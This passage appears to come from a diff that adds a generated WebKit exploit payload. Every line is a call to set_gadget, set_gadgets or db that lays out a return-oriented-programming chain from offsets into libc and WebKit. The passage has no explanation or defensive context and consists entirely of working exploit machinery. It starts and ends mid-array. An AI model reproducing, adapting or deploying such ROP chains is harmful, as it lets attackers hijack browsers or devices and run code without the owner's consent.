+libc_base+388400, +libc_base+713278, +ropchain+565552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+565664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+565752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+565768, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+565928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+565960, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+565912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+565944, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+566056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+566040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+566152, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+566264, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+566352, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963944, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+566480, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+566496, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+566640, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+566608, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+566624, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+566736, +webkit_base+4687784, +libc_base+768796 +]); +db([8, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([8, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+566880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+566896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+566864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+567032, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+567120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+567136, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+567296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+567328, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+567280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+567312, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+567424, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+567408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+567520, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+567632, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+567720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963952, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+567848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+567864, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+568008, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+567976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+567992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+568104, +webkit_base+4687784, +libc_base+768796 +]); +db([16, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+568248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+568264, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+568232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+568400, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+568488, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+568504, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+568664, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+568696, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+568648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+568680, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+568792, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+568776, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+568888, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+569000, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+569088, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963960, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+569216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+569232, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+569376, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+569344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+569360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+569472, +webkit_base+4687784, +libc_base+768796 +]); +db([24, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([24, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+569616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+569632, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+569600, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+569768, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+569856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+569872, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+570032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+570064, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+570016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+570048, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+570160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+570144, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+570256, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+570368, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+570456, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963968, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+570584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+570600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+570744, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+570712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+570728, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+570840, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([32, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+570984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+571000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+570968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+571136, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+571224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+571240, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+571400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+571432, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+571384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+571416, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+571528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+571512, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+571624, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+571736, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+571824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963976, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964000, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+571952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+571968, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+572112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+572080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+572096, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+572208, +webkit_base+4687784, +libc_base+713278 +]); +db([4294963944, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+572288, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+572344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+572592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+572608, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+572696, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+572752, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+572824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+572880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+572984, +webkit_base+4687784, +libc_base+713278 +]); +db([4294963944, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+573088, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964088, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+573176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+573192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+573336, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+573304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+573320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([104, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+573584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+573600, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+573736, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+573824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+573840, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+574000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+574032, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+573984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+574016, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+574128, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+574112, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+574224, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+574336, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+362504, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+574424, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+574536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+574520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+574632, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+574744, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+339256, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294963940, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+574872, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+574928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+574992, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963940, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+575080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+575096, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+575256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+575288, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+575240, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+575272, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+575368, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+575384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+575480, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+575464, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+575576, +webkit_base+4687784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([256, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+575720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+575736, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+575704, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+575912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+575928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+575896, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+576056, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+576088, +webkit_base+4687784, +webkit_base+1816389, 